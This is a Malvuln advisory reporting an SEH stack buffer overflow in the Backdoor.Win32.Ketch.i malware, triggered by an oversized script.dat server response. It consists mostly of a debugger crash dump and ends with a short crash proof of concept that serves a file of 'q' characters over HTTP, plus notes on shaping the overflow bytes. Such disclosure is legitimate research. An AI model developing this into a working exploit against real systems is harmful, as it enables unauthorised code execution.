Discovery / credits: malvuln - Malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/ee314e1b913a09ec86c63d7186d8f0b8.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Ketch.i Vulnerability: SEH Remote Stack Buffer Overflow Description: Ketch makes HTTP request to port 80 for a file named script.dat, upon processing the server response of 1,612 bytes or more we can trigger SEH buffer overflow. Our exploit pattern if using "AAAAAAAAA" will get XOR'd with the value 30 and convert it to 71717171 instead of 41414141, so use "q" for exploit pattern 41414141. Reason is first it gets converted so uppercase becomes lowercase and is XOR'd with value 30. The character "A" becomes "q" 71 so it is difficult to control chars. Therefore, if we want to see the typical 41414141 exploit pattern use lowercase "q" character. Then when 71 (q) gets XOR with 30 it will become 41 (A). Type: PE32 MD5: ee314e1b913a09ec86c63d7186d8f0b8 Vuln ID: MVID-2021-0024 Dropped files: ASLR: False DEP: False Safe SEH: True Disclosure: 01/13/2021 Memory Dump: This dump file has an exception of interest stored in it. The stored exception information can be accessed via .ecxr. (95c.11f0): Stack overflow - code c00000fd (first/second chance not available) eax=00000000 ebx=00000000 ecx=41414141 edx=773e9d70 esi=000a3848 edi=000a3d0c eip=773ce916 esp=000a3790 ebp=000a3830 iopl=0 nv up ei pl nz ac pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000216 ntdll!ZwQueryInformationProcess+0x26: 773ce916 c21400 ret 14h 0:000> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* *** WARNING: Unable to verify checksum for Backdoor.Win32.Ketch.i.ee314e1b913a09ec86c63d7186d8f0b8.exe *** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.Ketch.i.ee314e1b913a09ec86c63d7186d8f0b8.exe FAULTING_IP: Backdoor_Win32_Ketch_i_ee314e1b913a09ec86c63d7186d8f0b8+50f9 004050f9 8802 mov byte ptr [edx],al EXCEPTION_RECORD: 0019f30c -- (.exr 0x19f30c) ExceptionAddress: 004050f9 (Backdoor_Win32_Ketch_i_ee314e1b913a09ec86c63d7186d8f0b8+0x000050f9) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000001 Parameter[1]: 001a0000 Attempt to write to address 001a0000 PROCESS_NAME: Backdoor.Win32.Ketch.i.ee314e1b913a09ec86c63d7186d8f0b8.exe ERROR_CODE: (NTSTATUS) 0xc00000fd - A new guard page for the stack cannot be created. EXCEPTION_CODE: (NTSTATUS) 0xc00000fd - A new guard page for the stack cannot be created. EXCEPTION_PARAMETER1: 00000001 EXCEPTION_PARAMETER2: 000a2fe8 MOD_LIST: NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 FAILED_INSTRUCTION_ADDRESS: +50f9 41414141 ?? ??? CONTEXT: 0019f35c -- (.cxr 0x19f35c) eax=00000041 ebx=02851dbc ecx=02854285 edx=001a0000 esi=0000064f edi=02853ca0 eip=004050f9 esp=0019f7bc ebp=0019f954 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 Backdoor_Win32_Ketch_i_ee314e1b913a09ec86c63d7186d8f0b8+0x50f9: 004050f9 8802 mov byte ptr [edx],al ds:002b:001a0000=41 Resetting default scope READ_ADDRESS: 41414141 FOLLOWUP_IP: Backdoor_Win32_Ketch_i_ee314e1b913a09ec86c63d7186d8f0b8+50f9 004050f9 8802 mov byte ptr [edx],al WRITE_ADDRESS: 001a0000 LAST_CONTROL_TRANSFER: from 02852ff0 to 004050f9 FAULTING_THREAD: ffffffff BUGCHECK_STR: APPLICATION_FAULT_STACK_OVERFLOW_FILL_PATTERN_41414141 PRIMARY_PROBLEM_CLASS: STACK_OVERFLOW_FILL_PATTERN_41414141 DEFAULT_BUCKET_ID: STACK_OVERFLOW_FILL_PATTERN_41414141 IP_ON_HEAP: 02852ff0 The fault address in not in any loaded module, please check your build's rebase log at \bin\build_logs\timebuild\ntrebase.log for module which may contain the address if it were loaded. IP_IN_FREE_BLOCK: 41414141 FRAME_ONE_INVALID: 1 STACK_TEXT: 0019f7bc 004050f9 backdoor_win32_ketch_i+0x50f9 0019f95c 02852ff0 unknown!unknown+0x0 0019f964 773a2abf ntdll!RtlpAllocateHeap+0xcf 0019fb30 41414141 unknown!printable+0x0 0019fb44 41414141 unknown!printable+0x0 0019fb48 41414141 unknown!printable+0x0 0019fb4c 41414141 unknown!printable+0x0 0019fb50 41414141 unknown!printable+0x0 0019fb54 41414141 unknown!printable+0x0 0019fb58 41414141 unknown!printable+0x0 0019fb5c 41414141 unknown!printable+0x0 0019fb60 41414141 unknown!printable+0x0 0019fb64 41414141 unknown!printable+0x0 0019fb68 41414141 unknown!printable+0x0 0019fb6c 41414141 unknown!printable+0x0 0019fb70 41414141 unknown!printable+0x0 0019fb74 41414141 unknown!printable+0x0 0019fb78 41414141 unknown!printable+0x0 0019fb7c 41414141 unknown!printable+0x0 0019fb80 41414141 unknown!printable+0x0 0019fb84 41414141 unknown!printable+0x0 0019fb88 41414141 unknown!printable+0x0 0019fb8c 41414141 unknown!printable+0x0 0019fb90 41414141 unknown!printable+0x0 0019fb94 41414141 unknown!printable+0x0 0019fb98 41414141 unknown!printable+0x0 0019fb9c 41414141 unknown!printable+0x0 0019fba0 41414141 unknown!printable+0x0 0019fba4 41414141 unknown!printable+0x0 0019fba8 41414141 unknown!printable+0x0 0019fbac 41414141 unknown!printable+0x0 0019fbb0 41414141 unknown!printable+0x0 0019fbb4 41414141 unknown!printable+0x0 0019fbb8 41414141 unknown!printable+0x0 0019fbbc 41414141 unknown!printable+0x0 0019fbc0 41414141 unknown!printable+0x0 0019fbc4 41414141 unknown!printable+0x0 0019fbc8 41414141 unknown!printable+0x0 0019fbcc 41414141 unknown!printable+0x0 0019fbd0 41414141 unknown!printable+0x0 0019fbd4 41414141 unknown!printable+0x0 0019fbd8 41414141 unknown!printable+0x0 0019fbdc 41414141 unknown!printable+0x0 0019fbe0 41414141 unknown!printable+0x0 0019fbe4 41414141 unknown!printable+0x0 0019fbe8 41414141 unknown!printable+0x0 0019fbec 41414141 unknown!printable+0x0 0019fbf0 41414141 unknown!printable+0x0 0019fbf4 41414141 unknown!printable+0x0 0019fbf8 41414141 unknown!printable+0x0 0019fbfc 41414141 unknown!printable+0x0 0019fc00 41414141 unknown!printable+0x0 0019fc04 41414141 unknown!printable+0x0 0019fc08 41414141 unknown!printable+0x0 0019fc0c 41414141 unknown!printable+0x0 0019fc10 41414141 unknown!printable+0x0 0019fc14 41414141 unknown!printable+0x0 0019fc18 41414141 unknown!printable+0x0 0019fc1c 41414141 unknown!printable+0x0 0019fc20 41414141 unknown!printable+0x0 0019fc24 41414141 unknown!printable+0x0 0019fc28 41414141 unknown!printable+0x0 0019fc2c 41414141 unknown!printable+0x0 0019fc30 41414141 unknown!printable+0x0 0019fc34 41414141 unknown!printable+0x0 0019fc38 41414141 unknown!printable+0x0 0019fc3c 41414141 unknown!printable+0x0 0019fc40 41414141 unknown!printable+0x0 0019fc44 41414141 unknown!printable+0x0 0019fc48 41414141 unknown!printable+0x0 0019fc4c 41414141 unknown!printable+0x0 0019fc50 41414141 unknown!printable+0x0 0019fc54 41414141 unknown!printable+0x0 0019fc58 41414141 unknown!printable+0x0 0019fc5c 41414141 unknown!printable+0x0 0019fc60 41414141 unknown!printable+0x0 0019fc64 41414141 unknown!printable+0x0 0019fc68 41414141 unknown!printable+0x0 0019fc6c 41414141 unknown!printable+0x0 0019fc70 41414141 unknown!printable+0x0 0019fc74 41414141 unknown!printable+0x0 0019fc78 41414141 unknown!printable+0x0 0019fc7c 41414141 unknown!printable+0x0 0019fc80 41414141 unknown!printable+0x0 0019fc84 41414141 unknown!printable+0x0 0019fc88 41414141 unknown!printable+0x0 0019fc8c 41414141 unknown!printable+0x0 0019fc90 41414141 unknown!printable+0x0 0019fc94 41414141 unknown!printable+0x0 0019fc98 41414141 unknown!printable+0x0 0019fc9c 41414141 unknown!printable+0x0 0019fca0 41414141 unknown!printable+0x0 0019fca4 41414141 unknown!printable+0x0 0019fca8 41414141 unknown!printable+0x0 0019fcac 41414141 unknown!printable+0x0 0019fcb0 41414141 unknown!printable+0x0 0019fcb4 41414141 unknown!printable+0x0 0019fcb8 41414141 unknown!printable+0x0 0019fcbc 41414141 unknown!printable+0x0 0019fcc0 41414141 unknown!printable+0x0 0019fcc4 41414141 unknown!printable+0x0 0019fcc8 41414141 unknown!printable+0x0 0019fccc 41414141 unknown!printable+0x0 0019fcd0 41414141 unknown!printable+0x0 0019fcd4 41414141 unknown!printable+0x0 0019fcd8 41414141 unknown!printable+0x0 0019fcdc 41414141 unknown!printable+0x0 0019fce0 41414141 unknown!printable+0x0 0019fce4 41414141 unknown!printable+0x0 0019fce8 41414141 unknown!printable+0x0 0019fcec 41414141 unknown!printable+0x0 0019fcf0 41414141 unknown!printable+0x0 0019fcf4 41414141 unknown!printable+0x0 0019fcf8 41414141 unknown!printable+0x0 0019fcfc 41414141 unknown!printable+0x0 0019fd00 41414141 unknown!printable+0x0 0019fd04 41414141 unknown!printable+0x0 0019fd08 41414141 unknown!printable+0x0 0019fd0c 41414141 unknown!printable+0x0 0019fd10 41414141 unknown!printable+0x0 0019fd14 41414141 unknown!printable+0x0 0019fd18 41414141 unknown!printable+0x0 0019fd1c 41414141 unknown!printable+0x0 0019fd20 41414141 unknown!printable+0x0 0019fd24 41414141 unknown!printable+0x0 0019fd28 41414141 unknown!printable+0x0 0019fd2c 41414141 unknown!printable+0x0 0019fd30 41414141 unknown!printable+0x0 0019fd34 41414141 unknown!printable+0x0 0019fd38 41414141 unknown!printable+0x0 0019fd3c 41414141 unknown!printable+0x0 0019fd40 41414141 unknown!printable+0x0 0019fd44 41414141 unknown!printable+0x0 0019fd48 41414141 unknown!printable+0x0 0019fd4c 41414141 unknown!printable+0x0 0019fd50 41414141 unknown!printable+0x0 0019fd54 41414141 unknown!printable+0x0 0019fd58 41414141 unknown!printable+0x0 0019fd5c 41414141 unknown!printable+0x0 0019fd60 41414141 unknown!printable+0x0 0019fd64 41414141 unknown!printable+0x0 0019fd68 41414141 unknown!printable+0x0 0019fd6c 41414141 unknown!printable+0x0 0019fd70 41414141 unknown!printable+0x0 0019fd74 41414141 unknown!printable+0x0 0019fd78 41414141 unknown!printable+0x0 0019fd7c 41414141 unknown!printable+0x0 0019fd80 41414141 unknown!printable+0x0 0019fd84 41414141 unknown!printable+0x0 0019fd88 41414141 unknown!printable+0x0 0019fd8c 41414141 unknown!printable+0x0 0019fd90 41414141 unknown!printable+0x0 0019fd94 41414141 unknown!printable+0x0 0019fd98 41414141 unknown!printable+0x0 0019fd9c 41414141 unknown!printable+0x0 0019fda0 41414141 unknown!printable+0x0 0019fda4 41414141 unknown!printable+0x0 0019fda8 41414141 unknown!printable+0x0 0019fdac 41414141 unknown!printable+0x0 0019fdb0 41414141 unknown!printable+0x0 0019fdb4 41414141 unknown!printable+0x0 0019fdb8 41414141 unknown!printable+0x0 0019fdbc 41414141 unknown!printable+0x0 0019fdc0 41414141 unknown!printable+0x0 0019fdc4 41414141 unknown!printable+0x0 0019fdc8 41414141 unknown!printable+0x0 0019fdcc 41414141 unknown!printable+0x0 0019fdd0 41414141 unknown!printable+0x0 0019fdd4 41414141 unknown!printable+0x0 0019fdd8 41414141 unknown!printable+0x0 0019fddc 41414141 unknown!printable+0x0 0019fde0 41414141 unknown!printable+0x0 0019fde4 41414141 unknown!printable+0x0 0019fde8 41414141 unknown!printable+0x0 0019fdec 41414141 unknown!printable+0x0 0019fdf0 41414141 unknown!printable+0x0 0019fdf4 41414141 unknown!printable+0x0 0019fdf8 41414141 unknown!printable+0x0 0019fdfc 41414141 unknown!printable+0x0 0019fe00 41414141 unknown!printable+0x0 0019fe04 41414141 unknown!printable+0x0 0019fe08 41414141 unknown!printable+0x0 0019fe0c 41414141 unknown!printable+0x0 0019fe10 41414141 unknown!printable+0x0 0019fe14 41414141 unknown!printable+0x0 0019fe18 41414141 unknown!printable+0x0 0019fe1c 41414141 unknown!printable+0x0 0019fe20 41414141 unknown!printable+0x0 0019fe24 41414141 unknown!printable+0x0 0019fe28 41414141 unknown!printable+0x0 0019fe2c 41414141 unknown!printable+0x0 0019fe30 41414141 unknown!printable+0x0 0019fe34 41414141 unknown!printable+0x0 0019fe38 41414141 unknown!printable+0x0 0019fe3c 41414141 unknown!printable+0x0 0019fe40 41414141 unknown!printable+0x0 0019fe44 41414141 unknown!printable+0x0 0019fe48 41414141 unknown!printable+0x0 0019fe4c 41414141 unknown!printable+0x0 0019fe50 41414141 unknown!printable+0x0 0019fe54 41414141 unknown!printable+0x0 0019fe58 41414141 unknown!printable+0x0 0019fe5c 41414141 unknown!printable+0x0 0019fe60 41414141 unknown!printable+0x0 0019fe64 41414141 unknown!printable+0x0 0019fe68 41414141 unknown!printable+0x0 0019fe6c 41414141 unknown!printable+0x0 0019fe70 41414141 unknown!printable+0x0 0019fe74 41414141 unknown!printable+0x0 0019fe78 41414141 unknown!printable+0x0 0019fe7c 41414141 unknown!printable+0x0 0019fe80 41414141 unknown!printable+0x0 0019fe84 41414141 unknown!printable+0x0 0019fe88 41414141 unknown!printable+0x0 0019fe8c 41414141 unknown!printable+0x0 0019fe90 41414141 unknown!printable+0x0 0019fe94 41414141 unknown!printable+0x0 0019fe98 41414141 unknown!printable+0x0 0019fe9c 41414141 unknown!printable+0x0 0019fea0 41414141 unknown!printable+0x0 0019fea4 41414141 unknown!printable+0x0 0019fea8 41414141 unknown!printable+0x0 0019feac 41414141 unknown!printable+0x0 0019feb0 41414141 unknown!printable+0x0 0019feb4 41414141 unknown!printable+0x0 0019feb8 41414141 unknown!printable+0x0 0019febc 41414141 unknown!printable+0x0 0019fec0 41414141 unknown!printable+0x0 0019fec4 41414141 unknown!printable+0x0 0019fec8 41414141 unknown!printable+0x0 0019fecc 41414141 unknown!printable+0x0 0019fed0 41414141 unknown!printable+0x0 0019fed4 41414141 unknown!printable+0x0 0019fed8 41414141 unknown!printable+0x0 0019fedc 41414141 unknown!printable+0x0 0019fee0 41414141 unknown!printable+0x0 0019fee4 41414141 unknown!printable+0x0 0019fee8 41414141 unknown!printable+0x0 0019feec 41414141 unknown!printable+0x0 0019fef0 41414141 unknown!printable+0x0 0019fef4 41414141 unknown!printable+0x0 0019fef8 41414141 unknown!printable+0x0 0019fefc 41414141 unknown!printable+0x0 0019ff00 41414141 unknown!printable+0x0 0019ff04 41414141 unknown!printable+0x0 0019ff08 41414141 unknown!printable+0x0 0019ff0c 41414141 unknown!printable+0x0 0019ff10 41414141 unknown!printable+0x0 0019ff14 41414141 unknown!printable+0x0 0019ff18 41414141 unknown!printable+0x0 0019ff1c 41414141 unknown!printable+0x0 0019ff20 41414141 unknown!printable+0x0 0019ff24 41414141 unknown!printable+0x0 0019ff28 41414141 unknown!printable+0x0 0019ff2c 41414141 unknown!printable+0x0 0019ff30 41414141 unknown!printable+0x0 0019ff34 41414141 unknown!printable+0x0 0019ff38 41414141 unknown!printable+0x0 0019ff3c 41414141 unknown!printable+0x0 0019ff40 41414141 unknown!printable+0x0 0019ff44 41414141 unknown!printable+0x0 0019ff48 41414141 unknown!printable+0x0 0019ff4c 41414141 unknown!printable+0x0 0019ff50 41414141 unknown!printable+0x0 0019ff54 41414141 unknown!printable+0x0 0019ff58 41414141 unknown!printable+0x0 0019ff5c 41414141 unknown!printable+0x0 0019ff60 41414141 unknown!printable+0x0 0019ff64 41414141 unknown!printable+0x0 0019ff68 41414141 unknown!printable+0x0 0019ff6c 41414141 unknown!printable+0x0 0019ff70 41414141 unknown!printable+0x0 0019ff74 41414141 unknown!printable+0x0 0019ff78 41414141 unknown!printable+0x0 0019ff7c 41414141 unknown!printable+0x0 0019ff80 41414141 unknown!printable+0x0 0019ff84 41414141 unknown!printable+0x0 0019ff88 41414141 unknown!printable+0x0 0019ff8c 41414141 unknown!printable+0x0 0019ff90 41414141 unknown!printable+0x0 0019ff94 41414141 unknown!printable+0x0 0019ff98 41414141 unknown!printable+0x0 0019ff9c 41414141 unknown!printable+0x0 0019ffa0 41414141 unknown!printable+0x0 0019ffa4 41414141 unknown!printable+0x0 0019ffa8 41414141 unknown!printable+0x0 0019ffac 41414141 unknown!printable+0x0 0019ffb0 41414141 unknown!printable+0x0 0019ffb4 41414141 unknown!printable+0x0 0019ffb8 41414141 unknown!printable+0x0 0019ffbc 41414141 unknown!printable+0x0 0019ffc0 41414141 unknown!printable+0x0 0019ffc4 41414141 unknown!printable+0x0 0019ffc8 41414141 unknown!printable+0x0 0019ffcc 41414141 unknown!printable+0x0 0019ffd0 41414141 unknown!printable+0x0 0019ffd4 41414141 unknown!printable+0x0 0019ffd8 41414141 unknown!printable+0x0 0019ffdc 41414141 unknown!printable+0x0 0019ffe0 41414141 unknown!printable+0x0 0019ffe4 41414141 unknown!printable+0x0 0019ffe8 41414141 unknown!printable+0x0 0019ffec 41414141 unknown!printable+0x0 0019fff0 41414141 unknown!printable+0x0 0019fff4 41414141 unknown!printable+0x0 0019fff8 41414141 unknown!printable+0x0 0019fffc 41414141 unknown! SYMBOL_STACK_INDEX: 0 SYMBOL_NAME: backdoor_win32_ketch_i+50f9 FOLLOWUP_NAME: MachineOwner MODULE_NAME: Backdoor_Win32_Ketch_i_ee314e1b913a09ec86c63d7186d8f0b8 IMAGE_NAME: Backdoor.Win32.Ketch.i.ee314e1b913a09ec86c63d7186d8f0b8.exe DEBUG_FLR_IMAGE_TIMESTAMP: 4021b2e8 STACK_COMMAND: .cxr 000000000019F35C ; kb ; dds 19f7bc ; kb BUCKET_ID: APPLICATION_FAULT_STACK_OVERFLOW_FILL_PATTERN_41414141_BAD_IP_backdoor_win32_ketch_i+50f9 FAILURE_BUCKET_ID: STACK_OVERFLOW_FILL_PATTERN_41414141_c00000fd_Backdoor.Win32.Ketch.i.ee314e1b913a09ec86c63d7186d8f0b8.exe!Unknown Exploit/PoC: python -c "print 'q'*1612" > script.dat python -m SimpleHTTPServer 80 Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).